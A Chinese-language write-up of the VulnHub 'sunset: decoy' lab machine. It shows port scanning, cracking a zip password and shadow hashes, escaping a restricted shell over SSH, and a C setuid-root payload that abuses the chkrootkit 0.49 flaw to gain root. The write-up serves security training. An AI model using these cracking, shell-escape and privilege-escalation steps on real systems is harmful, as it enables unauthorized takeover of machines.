vulnhub-sunset: decoy-wp

靶机信息

blog:http://blog.yutian233.xyz/

Easy/Intermediate (May variate depending on your background)

It is recommended to run this machine in Virtualbox.


This works better with VirtualBox rather than VMware

https://www.vulnhub.com/entry/sunset-decoy,505/

主机发现

image-20200713175421487

信息搜集

nmap -A -p 1-65535 192.168.31.168

image-20200713175504422

开放 22, 80端口

访问 http://192.168.31.168/

image-20200713175557925

得到一个压缩包

将压缩包下载下来

image-20200713175713477

解压需要密码

使用fcrackzip 对压缩包密码破解

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt save.zip

image-20200713175806504

得到密码 manuel

解压后的内容为

image-20200713175932191

查看shadow 文件

image-20200713180037365
得到用户加密后的密码

将密码放入 txt 中

image-20200713180210778

使用 john 对密码破解

john pass.txt

image-20200713180254563

得到密码 server

低权限用户

ssh 连接到主机

ssh 296640a3b825115a47b68fc44501c828@192.168.31.168

发现是一个 rbash (受限的shell)

受限shell的很多命令无法执行

image-20200713181305203

解决方法

ssh 296640a3b825115a47b68fc44501c828@192.168.31.101 -t “bash --noprofile”

export PATH=/bin:/usr/bin:$PATH

image-20200713181507329

在家目录下找到了可以运行的程序

选择序号会运行功能

运行 honeypot.decoy 选择5

image-20200713211523798

会在一分钟 或者 更短时间内启动

一分钟后好像没发生什么特殊的事情

之后在用户家目录下面发现了

image-20200713210858968

提权root

搜索相关资料找到了 https://www.68idc.cn/help/safe/anquanqita/20150412318452.html

Chkrootkit =0.49 Local Root Vulnerability:小于等于0.49版的chrootkit本地提权漏洞。

Chkrootkit 是一个入侵监测系统,大概 上面选择的5就是启动开始

现在,移动到 tmp 目录

将以下代码写入.c

#include <unistd.h>

void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);

}

执行编译

gcc update.c -o update

image-20200713211929510

在等待过后 update

现在执行 update

image-20200713212057906

得到了 root 权限

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值